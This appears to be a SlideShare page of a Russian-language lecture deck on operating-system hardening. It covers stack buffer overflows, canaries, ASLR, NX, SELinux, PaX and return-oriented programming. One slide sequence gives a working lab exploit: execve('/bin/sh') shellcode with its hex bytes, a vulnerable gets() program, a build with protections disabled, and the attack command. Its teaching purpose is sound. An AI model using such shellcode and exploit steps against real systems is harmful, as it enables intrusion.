SlideShare una empresa de Scribd logo
1 de 38
Descargar para leer sin conexión
Opera&ng	
  Systems	
  Hardening	
  
Sartakov	
  A.	
  Vasily	
  
ksys	
  labs	
  
Summer	
  Systems	
  School’13	
  
Structure	
  
•  Intro	
  
•  Атаки	
  использующие	
  переполнение	
  буферов	
  
•  Средства	
  противодействия	
  атакам	
  
основанным	
  на	
  переполнении	
  буферов	
  
•  Противодействия	
  противодействию:	
  Return	
  
Oriented	
  Programming	
  
Intro	
  
•  Morris	
  Worm	
  (November	
  1988)	
  
–	
  Первый	
  известный	
  эксплоит	
  использовавший	
  срыв	
  
стека	
  	
  
	
  	
  –	
  execve(“/bin/sh”,	
  0,	
  0)	
  
•  Thomas	
  Lopa&c	
  опубликовал	
  эксплоит	
  NCSA	
  HTTPD	
  	
  
(1995)	
  	
  
•  “Smashing	
  the	
  Stack	
  for	
  Fun	
  and	
  Profit”	
  Aleph	
  One	
  (August	
  
1996)	
  	
  
•  Unix	
  
Structure	
  
•  Intro	
  
•  Атаки	
  использующие	
  переполнение	
  буферов	
  
•  Средства	
  противодействия	
  атакам	
  
основанным	
  на	
  переполнении	
  буферов	
  
•  Противодействия	
  противодействию:	
  Return	
  
Oriented	
  Programming	
  
Срыв	
  стека	
  
•  Подготовка	
  кода	
  (payload)	
  
•  Изменение	
  последовательности	
  выполнения	
  
программы	
  
Подготовка	
  кода	
  
•  Передается	
  в	
  качестве	
  аргументов,	
  команд,	
  
обрабатываемых	
  данных	
  
•  Эти	
  данные	
  должны	
  сохраняться	
  в	
  
выделенные	
  для	
  них	
  буфера	
  
•  Принципиальной	
  разницы	
  нет	
  –	
  статический	
  
это	
  буфер	
  или	
  динамический	
  
•  Отсутствие	
  проверки	
  длины	
  данных	
  приводит	
  
к	
  перезаписи	
  данных	
  за	
  границей	
  буфера.	
  	
  
Искажение	
  адреса	
  возврата	
  
int	
  namelen	
  (void)	
  {	
  
	
  char	
  name[21];	
  
	
  gets(name);	
  
	
  return	
  strlen(name);	
  
}	
  
name[0]	
  
name[1]	
  
….	
  
Адрес	
  возврата	
  
0xFFFF	
  
0x0	
  
массив	
  
Стек	
  
Искажение	
  указателя	
  функции	
  
void	
  dummy(void)	
  {	
  
	
  prinˆ("Hello	
  world!	
  n");	
  
}	
  
	
  
int	
  main(int	
  argc,	
  char	
  **argv)	
  {	
  
	
  void	
  (*dummyptr)();	
  
	
  char	
  buffer[100];	
  
	
  dummyptr=dummy;	
  
	
  strcpy(buffer,	
  argv[1]);	
  //	
  Уязвимость	
  
	
  (*dummyptr)();	
  
}	
  
buffer[0]	
  
buffer[1]	
  
….	
  
dummyptr	
  
Адрес	
  возврата	
  
0xFFFF	
  
0x0	
  
массив	
  
Стек	
  
Искажение	
  указателей	
  данных	
  
foo(char	
  *	
  arg)	
  {	
  
	
  char	
  *	
  p	
  =	
  arg;	
  //	
  уязвимый	
  указатель	
  
	
  char	
  a[40];	
  //	
  переполняемый	
  буфер	
  
	
  gets(a);	
  //	
  уязвимость	
  
	
  gets(p);	
  //	
  искажение	
  кода	
  
}	
  
a[0]	
  
a[1]	
  
….	
  
p	
  
arg	
  
0xFFFF	
  
0x0	
  
массив	
  
Стек	
  
Адрес	
  возврата	
  
Example	
  1	
  
cat	
  >	
  launch.c	
  <<	
  "EOF"	
  
int	
  main(int	
  argc,	
  char	
  **argv)	
  {	
  
	
  	
  asm("	
  
needle0:	
  jmp	
  theren	
  
here:	
  pop	
  %rdin	
  
xor	
  %rax,	
  %raxn	
  
movb	
  $0x3b,	
  %aln	
  
xor	
  %rsi,	
  %rsin	
  
xor	
  %rdx,	
  %rdxn	
  
syscalln	
  
there:	
  call	
  heren	
  
.string	
  "/bin/sh"n	
  
needle1:	
  .octa	
  0xdeadbeefn	
  
	
  	
  ");	
  
}	
  
EOF	
  
gcc	
  -­‐o	
  launch	
  launch.c	
  
h™p://crypto.stanford.edu/~blynn/rop/	
  
Shellcode	
  
addr=0x`objdump	
  -­‐d	
  launch	
  |	
  grep	
  needle0	
  |	
  cut	
  -­‐d	
  	
  -­‐f1`	
  
addr=$((addr-­‐0x400000))	
  
echo	
  ...shellcode	
  starts	
  at	
  offset	
  $addr	
  
xxd	
  -­‐s$addr	
  -­‐l32	
  -­‐p	
  launch	
  >	
  shellcode	
  
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef	
  
vic&m	
  
cat	
  >	
  vic&m.c	
  <<	
  "EOF"	
  
#include	
  <stdio.h>	
  
int	
  main()	
  {	
  
	
  	
  char	
  name[64];	
  
	
  	
  prinˆ("%pn",	
  name);	
  	
  //	
  Print	
  address	
  of	
  buffer.	
  
	
  	
  puts("What's	
  your	
  name?");	
  
	
  	
  gets(name);	
  
	
  	
  prinˆ("Hello,	
  %s!n",	
  name);	
  
	
  	
  return	
  0;	
  
}	
  
EOF	
  
Compiling	
  
gcc	
  -­‐fno-­‐stack-­‐protector	
  -­‐o	
  vic&m	
  vic&m.c	
  
	
  
execstack	
  -­‐s	
  vic&m	
  //	
  disabling	
  executable	
  space	
  protec&on…	
  
	
  
addr=$(echo	
  |	
  setarch	
  $(arch)	
  -­‐R	
  ./vic&m	
  |	
  sed	
  1q)	
  //finding	
  buffer	
  address…	
  
	
  
a=`prinˆ	
  %016x	
  $addr	
  |	
  tac	
  -­‐rs..`	
  	
  //exploi&ng	
  vic&m...	
  
	
  
A™ack	
  
(	
  (	
  cat	
  shellcode	
  ;	
  prinˆ	
  %080d	
  0	
  ;	
  echo	
  $a	
  )	
  |	
  xxd	
  -­‐r	
  -­‐p	
  ;	
  cat	
  )	
  |	
  setarch	
  `arch`	
  -­‐R	
  ./vic&m	
  
Structure	
  
•  Intro	
  
•  Атаки	
  использующие	
  переполнение	
  буферов	
  
•  Средства	
  противодействия	
  атакам	
  
основанным	
  на	
  переполнении	
  буферов	
  
•  Противодействия	
  противодействию:	
  Return	
  
Oriented	
  Programming	
  
Средства	
  противодействия	
  атакам	
  
основанным	
  на	
  переполнении	
  буферов	
  
•  Маркерные	
  значения	
  (Canaries)	
  
•  Рандомизация	
  адресного	
  
пространства	
  (ASLR)	
  
•  NX	
  бит	
  
•  Подсистемы	
  безопасности	
  Linux	
  
Маркерные	
  значения	
  
a[0]	
  
a[1]	
  
….	
  
EBP	
  
Canary	
  
0xFFFF	
  
0x0	
  
массив	
  
Стек	
  
Адрес	
  возврата	
  
Address	
  Space	
  Layout	
  
Randomiza&on	
  
Name[0]	
  
0x7f..ff	
  
Первый	
  запуск	
  
	
  
char	
  name[64];	
  
	
  	
  prinˆ("%pn",	
  name);	
  	
  
	
  	
  puts("What's	
  your	
  name?");	
  
	
  	
  gets(name);	
  
	
  	
  prinˆ("Hello,	
  %s!n",	
  name);	
  
7cb7ba740	
  
Name[0]	
  
Второй	
  	
  запуск	
  
ef5415a90	
  
Эмуляция	
  NX	
  bit	
  
Код	
  
Данные	
  
Стек	
  
Код	
  
Исполняемый	
  неисполняемый	
  
Лимит	
  сегмента	
  
NX/XD	
  bit:	
  Data	
  Execu&on	
  
Preven&on(DEP)	
  
•  Physical	
  Address	
  Extension	
  (PAE)	
  
•  Может	
  защищать	
  не	
  только	
  весь	
  процесс	
  
целиком,	
  но	
  и	
  его	
  отдельную	
  часть.	
  
Подсистемы	
  безопасности	
  Linux	
  
•  SELinux	
  
•  PaX/GrSecurity	
  
SELinux	
  
•  Разрабатывался	
  под	
  контролем	
  Na&onal	
  
Security	
  Agency	
  (NSA)	
  
•  Исходный	
  код	
  был	
  опубликован	
  в	
  декабря	
  
2000	
  
•  Мандатный	
  контроль	
  доступа	
  на	
  основе	
  
контроля	
  меток	
  безопасности	
  объектов	
  и	
  
субъектов	
  ОС	
  
•  Принудительная	
  типизация	
  доступа	
  (Type	
  
Enforcement)	
  
Проект	
  LOCK	
  
•  LOCK	
  (LOgical	
  Coprocessing	
  Kernel)	
  
•  Secure	
  Compu&ng	
  Corpora&on	
  (SCC)	
  
•  «A1»,Trusted	
  Compu&ng	
  System	
  Evalua&on	
  Criteria	
  
(“Orange	
  Book”).	
  
•  Принудительная	
  типизация	
  доступа	
  
•  Наследие	
  -­‐	
  Sidewinder	
  Internet	
  Firewall	
  и	
  SELinux	
  
•  Изначально	
  было	
  дополнением	
  2.2,	
  2.4	
  
•  «Благодаря»	
  Торвальдсу	
  добавлено	
  в	
  ядро	
  в	
  качестве	
  
отдельного	
  модуля.	
  Так	
  появился	
  Linux	
  Security	
  Modules	
  
в	
  ядре	
  2.6	
  
Принудительная	
  типизация	
  доступа	
  
•  Type	
  Enforcement	
  
•  Технология	
  разграничения	
  доступа,	
  при	
  которой	
  
права	
  на	
  доступ	
  субъекта	
  к	
  объекту	
  даются	
  в	
  
зависимости	
  от	
  текущего	
  контекста	
  безопасности.	
  
•  Контекст	
  безопасности	
  хранится	
  в	
  расширенных	
  
атрибутах	
  файловой	
  системы	
  и	
  управляется	
  с	
  
помощью	
  Linux	
  security	
  module	
  (LSM)	
  
•  Принудительная	
  типизация	
  доступа	
  необходима	
  для	
  
реализации	
  мандатного	
  контроля	
  доступа,	
  
дополняет	
  ролевой	
  контроль	
  доступа	
  (Role	
  Based	
  
Access	
  Control	
  —	
  RBAC).	
  
SELinux	
  
•  Каждый	
  объект	
  или	
  субъект	
  в	
  операционной	
  
системе,	
  защищенной	
  SELinux,	
  должен	
  иметь	
  свою	
  
специальную	
  метку,	
  называемую	
  контекстом	
  
безопасности.	
  	
  
•  Ext2-­‐>file-­‐>ext3	
  
•  SELinux	
  предоставляет	
  пользователю	
  или	
  
приложению	
  только	
  те	
  права	
  доступа,	
  которые	
  
необходимы	
  для	
  осуществления	
  запрошенных	
  
действий	
  
SELinux	
  
•  Каждый	
  процесс-­‐субъект	
  запускается	
  в	
  
определенном	
  контексте	
  (домене)	
  безопасности	
  	
  
•  Всем	
  ресурсам-­‐объектам	
  операционной	
  системы	
  
ставится	
  в	
  соответствие	
  определенный	
  тип	
  
•  Высокая	
  степень	
  разграничения	
  доступа	
  к	
  ресурсам	
  
•  Составляет	
  политику	
  безопасности:	
  Список	
  правил,	
  
определяющих	
  разрешения	
  на	
  доступ	
  
определенных	
  доменов	
  к	
  определенным	
  типам.	
  
SELinux	
  
PaX/GRSecurity	
  
•	
  Механизм	
  обеспечения	
  безопасного	
  
исполнения	
  кода	
  PaX	
  
•	
  Механизм	
  разграничения	
  доступа	
  на	
  
основе	
  ролевой	
  политики	
  (RBAC)	
  
•	
  Усиление	
  базового	
  механизма	
  chroot	
  
•	
  Дополнительные	
  функции	
  и	
  механизмы	
  
безопасности	
  
Structure	
  
•  Intro	
  
•  Атаки	
  использующие	
  переполнение	
  буферов	
  
•  Средства	
  противодействия	
  атакам	
  
основанным	
  на	
  переполнении	
  буферов	
  
•  Противодействия	
  противодействию:	
  Return	
  
Oriented	
  Programming	
  
Вопрос	
  
Подвержена	
  ли	
  Гарвардская	
  архитектура	
  
атакам	
  основанным	
  на	
  срыве	
  стека?	
  	
  
Ответ	
  
Атаки	
  построенные	
  на	
  срыве	
  стека	
  –	
  нет,	
  не	
  
подвержена.	
  Но	
  подвержена	
  куда	
  более	
  
серьезным	
  атакам	
  из	
  того	
  же	
  семейства.	
  
Return	
  oriented	
  programming	
  
•  Return-­‐to-­‐libc	
  (ret2libc)	
  	
  
– Позволяет	
  атаковать	
  неисполнимую	
  память	
  (DEP,	
  
W^X,	
  etc)	
  	
  
– Вместо	
  перезаписи	
  адреса	
  возврата,	
  осуществляется	
  
выбор	
  специально	
  подобранных	
  двоичных	
  команд	
  
из	
  библиотек	
  в	
  памяти,	
  как	
  вызовов	
  функций.	
  
– При	
  этом	
  данные	
  в	
  стеке	
  используются	
  как	
  
аргументы	
  к	
  этим	
  функциям	
  
– Что	
  в	
  конечном	
  итоге	
  позволяет	
  сделать	
  
system(cmd)	
  
Return	
  oriented	
  programming	
  
•  Вместо	
  возврата	
  из	
  функций	
  с	
  измененным	
  
стеком	
  происходит	
  вызов	
  
последовательностей	
  инструкций,	
  которые	
  
заканчиваются	
  инструкцией	
  ret.	
  	
  
•  Фактически	
  можно	
  обращаться	
  к	
  
произвольному	
  региону,	
  прямо	
  в	
  середину	
  
инструкции,	
  тем	
  самым	
  эмулируя	
  другой	
  тип	
  
инструкций.	
  	
  
•  Фактически,	
  все	
  что	
  нужно	
  для	
  взлома	
  –	
  найти	
  
необходимую	
  последовательность	
  инструкций	
  
в	
  памяти	
  
Return	
  oriented	
  programming	
  
•  Gadget	
  –	
  последовательность	
  подходящих	
  
инструкций	
  заканчивающаяся	
  ret	
  	
  
•  Гаджеты	
  исполняют	
  произвольный	
  
высокоуровневый	
  функционал	
  	
  
– Записать	
  данные	
  в	
  определенную	
  ячейку	
  памяти	
  
– 	
  add/sub/and/or/xor	
  
– Вызвать	
  функцию	
  из	
  библиотеки	
  
Return	
  oriented	
  programming	
  
•  Для	
  построения	
  RoP	
  атаки	
  необходимо	
  
просканировать	
  исполнимые	
  регионы	
  
библиотек	
  для	
  выявления	
  подходящих	
  
инструкций	
  
•  Полнота	
  по	
  Тьюрингу	
  при	
  поиске	
  гаджетов:	
  
Homescu,	
  Andrei,	
  et	
  al.	
  "Microgadgets:	
  Size	
  
Does	
  Ma™er	
  in	
  Turing-­‐Complete	
  Return-­‐
Oriented	
  Programming."	
  WOOT.	
  2012.	
  
Example	
  2	
  
Return-­‐oriented	
  programming	
  on	
  64-­‐bit	
  Linux	
  
Ben	
  Lynn	
  
h™p://crypto.stanford.edu/~blynn/rop/	
  
Выводы:	
  
1.  Маркерные	
  значения	
  +	
  рандомизация	
  +	
  NX	
  бит	
  
не	
  защищают	
  на	
  100%,	
  но	
  сильно	
  усложняют	
  
вторжение.	
  	
  
2.  Превентивные	
  средства	
  защиты	
  (PaX),	
  задача	
  
которых	
  противодействовать	
  вторжению,	
  
вместе	
  с	
  AC	
  (RBAC),	
  так	
  же	
  уменьшают	
  шансы	
  
вторжения	
  и	
  минимизируют	
  последствия	
  
3.  Защита	
  от	
  внедрения	
  вредоносного	
  кода	
  не	
  
достаточна	
  для	
  предотвращения	
  исполнения	
  
вредоносного	
  кода.	
  	
  
Reading	
  	
  
•  h™p://crypto.stanford.edu/~blynn/rop/	
  
•  Roemer,	
  Ryan,	
  et	
  al.	
  "Return-­‐oriented	
  programming:	
  
Systems,	
  languages,	
  and	
  applica&ons."	
  ACM	
  Transac&ons	
  
on	
  Informa&on	
  and	
  System	
  Security	
  (TISSEC)	
  15.1	
  (2012):	
  2.	
  
•  Checkoway,	
  Stephen,	
  et	
  al.	
  "Can	
  DREs	
  provide	
  long-­‐las&ng	
  
security?	
  The	
  case	
  of	
  return-­‐oriented	
  programming	
  and	
  the	
  
AVC	
  Advantage."	
  Proceedings	
  of	
  EVT/WOTE	
  2009	
  (2009).	
  
•  Shacham,	
  Hovav.	
  "The	
  geometry	
  of	
  innocent	
  flesh	
  on	
  the	
  
bone:	
  Return-­‐into-­‐libc	
  without	
  func&on	
  calls	
  (on	
  the	
  x86)."	
  
Proceedings	
  of	
  the	
  14th	
  ACM	
  conference	
  on	
  Computer	
  and	
  
communicaCons	
  security.	
  ACM,	
  2007.	
  

Más contenido relacionado

La actualidad más candente

Java осень 2013 лекция 6
Java осень 2013 лекция 6Java осень 2013 лекция 6
Java осень 2013 лекция 6
Technopark
 
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценарияхПриемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Positive Hack Days
 
Ловим шеллкоды под ARM
Ловим шеллкоды под ARMЛовим шеллкоды под ARM
Ловим шеллкоды под ARM
Positive Hack Days
 
Владимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОСВладимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОС
Yandex
 
Netmap (by luigi rizzo) простой и удобный opensource фреймворк для обработк...
Netmap (by luigi rizzo)   простой и удобный opensource фреймворк для обработк...Netmap (by luigi rizzo)   простой и удобный opensource фреймворк для обработк...
Netmap (by luigi rizzo) простой и удобный opensource фреймворк для обработк...
Ontico
 
5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)
5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)
5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)
Ontico
 

La actualidad más candente (20)

Python AST / Николай Карелин / VPI Development Center [Python Meetup 27.03.15]
Python AST / Николай Карелин / VPI Development Center [Python Meetup 27.03.15]Python AST / Николай Карелин / VPI Development Center [Python Meetup 27.03.15]
Python AST / Николай Карелин / VPI Development Center [Python Meetup 27.03.15]
 
Другая виртуализация
Другая виртуализацияДругая виртуализация
Другая виртуализация
 
Про асинхронное сетевое программирование
Про асинхронное сетевое программированиеПро асинхронное сетевое программирование
Про асинхронное сетевое программирование
 
Linux for newbie hackers
Linux for newbie hackersLinux for newbie hackers
Linux for newbie hackers
 
NeoQUEST: Tpm.txt.на что способно заморское железо
NeoQUEST: Tpm.txt.на что способно заморское железоNeoQUEST: Tpm.txt.на что способно заморское железо
NeoQUEST: Tpm.txt.на что способно заморское железо
 
Developing highload servers with Java
Developing highload servers with JavaDeveloping highload servers with Java
Developing highload servers with Java
 
Сладкое будущее: Phalcon и Zephir
Сладкое будущее: Phalcon и ZephirСладкое будущее: Phalcon и Zephir
Сладкое будущее: Phalcon и Zephir
 
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
 
Почему Rust стоит вашего внимания
Почему Rust стоит вашего вниманияПочему Rust стоит вашего внимания
Почему Rust стоит вашего внимания
 
Java осень 2013 лекция 6
Java осень 2013 лекция 6Java осень 2013 лекция 6
Java осень 2013 лекция 6
 
The Atomic bomb for kiddies /exploring NSA exploits/
The Atomic bomb for kiddies /exploring NSA exploits/The Atomic bomb for kiddies /exploring NSA exploits/
The Atomic bomb for kiddies /exploring NSA exploits/
 
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптахПриемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP скриптах
 
ХАРДЕНИНГ (Аринов Ильяс (determination))
ХАРДЕНИНГ (Аринов Ильяс (determination))ХАРДЕНИНГ (Аринов Ильяс (determination))
ХАРДЕНИНГ (Аринов Ильяс (determination))
 
Flask как хорошее решение для веб проекта
Flask как хорошее решение для веб проектаFlask как хорошее решение для веб проекта
Flask как хорошее решение для веб проекта
 
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценарияхПриемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
Приемы, затрудняющие обнаружение и анализ вредоносного кода в PHP-сценариях
 
Ловим шеллкоды под ARM
Ловим шеллкоды под ARMЛовим шеллкоды под ARM
Ловим шеллкоды под ARM
 
Владимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОСВладимир Иванов - Безопасность Unix-подобных ОС
Владимир Иванов - Безопасность Unix-подобных ОС
 
Ян Габис - RobotFramework: автоматизированое тестирование для всех
Ян Габис - RobotFramework: автоматизированое тестирование для всех Ян Габис - RobotFramework: автоматизированое тестирование для всех
Ян Габис - RobotFramework: автоматизированое тестирование для всех
 
Netmap (by luigi rizzo) простой и удобный opensource фреймворк для обработк...
Netmap (by luigi rizzo)   простой и удобный opensource фреймворк для обработк...Netmap (by luigi rizzo)   простой и удобный opensource фреймворк для обработк...
Netmap (by luigi rizzo) простой и удобный opensource фреймворк для обработк...
 
5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)
5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)
5 способов деплоя PHP-кода в условиях хайлоада / Юрий Насретдинов (Badoo)
 

Destacado

Hans De Visser The Business Operations Imperative
Hans De  Visser    The  Business  Operations  ImperativeHans De  Visser    The  Business  Operations  Imperative
Hans De Visser The Business Operations Imperative
SOA Symposium
 
BVH Het bureau voor succesvolle dienstverleners
BVH Het bureau voor succesvolle dienstverlenersBVH Het bureau voor succesvolle dienstverleners
BVH Het bureau voor succesvolle dienstverleners
Jeroen Kaal
 
China placi de circuit imprimat preţul de listă
China placi de circuit imprimat preţul de listăChina placi de circuit imprimat preţul de listă
China placi de circuit imprimat preţul de listă
grace cheng
 
Tinik világa - internet Hungarian
Tinik világa - internet HungarianTinik világa - internet Hungarian
Tinik világa - internet Hungarian
CEF
 

Destacado (15)

Hans De Visser The Business Operations Imperative
Hans De  Visser    The  Business  Operations  ImperativeHans De  Visser    The  Business  Operations  Imperative
Hans De Visser The Business Operations Imperative
 
Ppt ch12 marien_4_e-205401
Ppt ch12 marien_4_e-205401Ppt ch12 marien_4_e-205401
Ppt ch12 marien_4_e-205401
 
The saturday economist ten predictions for 2014
The saturday economist   ten predictions for 2014 The saturday economist   ten predictions for 2014
The saturday economist ten predictions for 2014
 
Time of the day, may 5,13
Time of the day, may 5,13Time of the day, may 5,13
Time of the day, may 5,13
 
Capital sin
Capital sinCapital sin
Capital sin
 
BVH Het bureau voor succesvolle dienstverleners
BVH Het bureau voor succesvolle dienstverlenersBVH Het bureau voor succesvolle dienstverleners
BVH Het bureau voor succesvolle dienstverleners
 
Catálogo xpress - Equinos
Catálogo xpress - EquinosCatálogo xpress - Equinos
Catálogo xpress - Equinos
 
Chistesvarios6
Chistesvarios6Chistesvarios6
Chistesvarios6
 
The OMDoc Import/Export of Hets
The OMDoc Import/Export of HetsThe OMDoc Import/Export of Hets
The OMDoc Import/Export of Hets
 
Buddhism
Buddhism Buddhism
Buddhism
 
June 2009 Veterans Affairs Program Management Accountability System
June 2009 Veterans Affairs Program Management Accountability SystemJune 2009 Veterans Affairs Program Management Accountability System
June 2009 Veterans Affairs Program Management Accountability System
 
China placi de circuit imprimat preţul de listă
China placi de circuit imprimat preţul de listăChina placi de circuit imprimat preţul de listă
China placi de circuit imprimat preţul de listă
 
Tinik világa - internet Hungarian
Tinik világa - internet HungarianTinik világa - internet Hungarian
Tinik világa - internet Hungarian
 
080409 Churchill Club Slides
080409 Churchill Club Slides080409 Churchill Club Slides
080409 Churchill Club Slides
 
Blogging/Microblogging for enhancing the research accessibility
Blogging/Microblogging for enhancing the research accessibilityBlogging/Microblogging for enhancing the research accessibility
Blogging/Microblogging for enhancing the research accessibility
 

Similar a Operating Systems Hardening

Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кодаРазвитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Positive Hack Days
 
Поиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаПоиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кода
corehard_by
 
присяжный Root Conf2009 Beta 1
присяжный Root Conf2009 Beta 1присяжный Root Conf2009 Beta 1
присяжный Root Conf2009 Beta 1
Liudmila Li
 
Root Conf2009 Fin
Root Conf2009 FinRoot Conf2009 Fin
Root Conf2009 Fin
Liudmila Li
 
Доклад в Mail.ru 01.11.12
Доклад в Mail.ru 01.11.12Доклад в Mail.ru 01.11.12
Доклад в Mail.ru 01.11.12
Alex Tutubalin
 
Безопасность без антивирусов 4
Безопасность без антивирусов 4Безопасность без антивирусов 4
Безопасность без антивирусов 4
Positive Hack Days
 

Similar a Operating Systems Hardening (20)

Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кодаРазвитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
 
Practical Language for Extracting Data from Source Codes and Preparing Them f...
Practical Language for Extracting Data from Source Codes and Preparing Them f...Practical Language for Extracting Data from Source Codes and Preparing Them f...
Practical Language for Extracting Data from Source Codes and Preparing Them f...
 
Поиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаПоиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кода
 
Поиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаПоиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кода
 
PowerShell
PowerShellPowerShell
PowerShell
 
присяжный Root Conf2009 Beta 1
присяжный Root Conf2009 Beta 1присяжный Root Conf2009 Beta 1
присяжный Root Conf2009 Beta 1
 
200 open source проектов спустя: опыт статического анализа исходного кода
200 open source проектов спустя:опыт статического анализа исходного кода200 open source проектов спустя:опыт статического анализа исходного кода
200 open source проектов спустя: опыт статического анализа исходного кода
 
200 open source проектов спустя: опыт статического анализа исходного кода
200 open source проектов спустя: опыт статического анализа исходного кода200 open source проектов спустя: опыт статического анализа исходного кода
200 open source проектов спустя: опыт статического анализа исходного кода
 
Переполнение буфера и другие уязвимости ПО - Роман Олейников
Переполнение буфера и другие уязвимости ПО - Роман ОлейниковПереполнение буфера и другие уязвимости ПО - Роман Олейников
Переполнение буфера и другие уязвимости ПО - Роман Олейников
 
Buffer overflow and other software vulnerabilities: theory and practice of pr...
Buffer overflow and other software vulnerabilities: theory and practice of pr...Buffer overflow and other software vulnerabilities: theory and practice of pr...
Buffer overflow and other software vulnerabilities: theory and practice of pr...
 
Развитие систем анализа защищенности. Взгляд в будущее!
Развитие систем анализа защищенности. Взгляд в будущее!Развитие систем анализа защищенности. Взгляд в будущее!
Развитие систем анализа защищенности. Взгляд в будущее!
 
Александр Коротин. Безопасность систем управления турбинами в электроэнергетике
Александр Коротин. Безопасность систем управления турбинами в электроэнергетикеАлександр Коротин. Безопасность систем управления турбинами в электроэнергетике
Александр Коротин. Безопасность систем управления турбинами в электроэнергетике
 
Haskell Lite - presentation for DevDay about Haskell language
Haskell Lite - presentation for DevDay about Haskell languageHaskell Lite - presentation for DevDay about Haskell language
Haskell Lite - presentation for DevDay about Haskell language
 
Haskell
HaskellHaskell
Haskell
 
Root Conf2009 Fin
Root Conf2009 FinRoot Conf2009 Fin
Root Conf2009 Fin
 
Доклад в Mail.ru 01.11.12
Доклад в Mail.ru 01.11.12Доклад в Mail.ru 01.11.12
Доклад в Mail.ru 01.11.12
 
Антон Галицын
Антон ГалицынАнтон Галицын
Антон Галицын
 
«Автоматизация тестовой инфраструктуры в 2ГИС» — Антон Голицын, 2ГИС
«Автоматизация тестовой инфраструктуры в 2ГИС» — Антон Голицын, 2ГИС«Автоматизация тестовой инфраструктуры в 2ГИС» — Антон Голицын, 2ГИС
«Автоматизация тестовой инфраструктуры в 2ГИС» — Антон Голицын, 2ГИС
 
Безопасность без антивирусов 4
Безопасность без антивирусов 4Безопасность без антивирусов 4
Безопасность без антивирусов 4
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
 

Más de Vasily Sartakov

Сетевая подсистема в L4Re и Genode
Сетевая подсистема в L4Re и GenodeСетевая подсистема в L4Re и Genode
Сетевая подсистема в L4Re и Genode
Vasily Sartakov
 
Защита памяти при помощи NX-bit в среде L4Re
Защита памяти при помощи NX-bit в среде L4ReЗащита памяти при помощи NX-bit в среде L4Re
Защита памяти при помощи NX-bit в среде L4Re
Vasily Sartakov
 
Особенности Национального RnD
Особенности Национального RnDОсобенности Национального RnD
Особенности Национального RnD
Vasily Sartakov
 

Más de Vasily Sartakov (20)

Мейнстрим технологии шифрованной памяти
Мейнстрим технологии шифрованной памятиМейнстрим технологии шифрованной памяти
Мейнстрим технологии шифрованной памяти
 
RnD Collaborations in Asia-Pacific Region
RnD Collaborations in Asia-Pacific RegionRnD Collaborations in Asia-Pacific Region
RnD Collaborations in Asia-Pacific Region
 
Сетевая подсистема в L4Re и Genode
Сетевая подсистема в L4Re и GenodeСетевая подсистема в L4Re и Genode
Сетевая подсистема в L4Re и Genode
 
Защита памяти при помощи NX-bit в среде L4Re
Защита памяти при помощи NX-bit в среде L4ReЗащита памяти при помощи NX-bit в среде L4Re
Защита памяти при помощи NX-bit в среде L4Re
 
Hardware Errors and the OS
Hardware Errors and the OSHardware Errors and the OS
Hardware Errors and the OS
 
Operating Systems Meet Fault Tolerance
Operating Systems Meet Fault ToleranceOperating Systems Meet Fault Tolerance
Operating Systems Meet Fault Tolerance
 
Intro
IntroIntro
Intro
 
Genode OS Framework
Genode OS FrameworkGenode OS Framework
Genode OS Framework
 
Особенности Национального RnD
Особенности Национального RnDОсобенности Национального RnD
Особенности Национального RnD
 
Genode Architecture
Genode ArchitectureGenode Architecture
Genode Architecture
 
Genode Components
Genode ComponentsGenode Components
Genode Components
 
Genode Programming
Genode ProgrammingGenode Programming
Genode Programming
 
Genode Compositions
Genode CompositionsGenode Compositions
Genode Compositions
 
Trusted Computing Base
Trusted Computing BaseTrusted Computing Base
Trusted Computing Base
 
System Integrity
System IntegritySystem Integrity
System Integrity
 
Intro
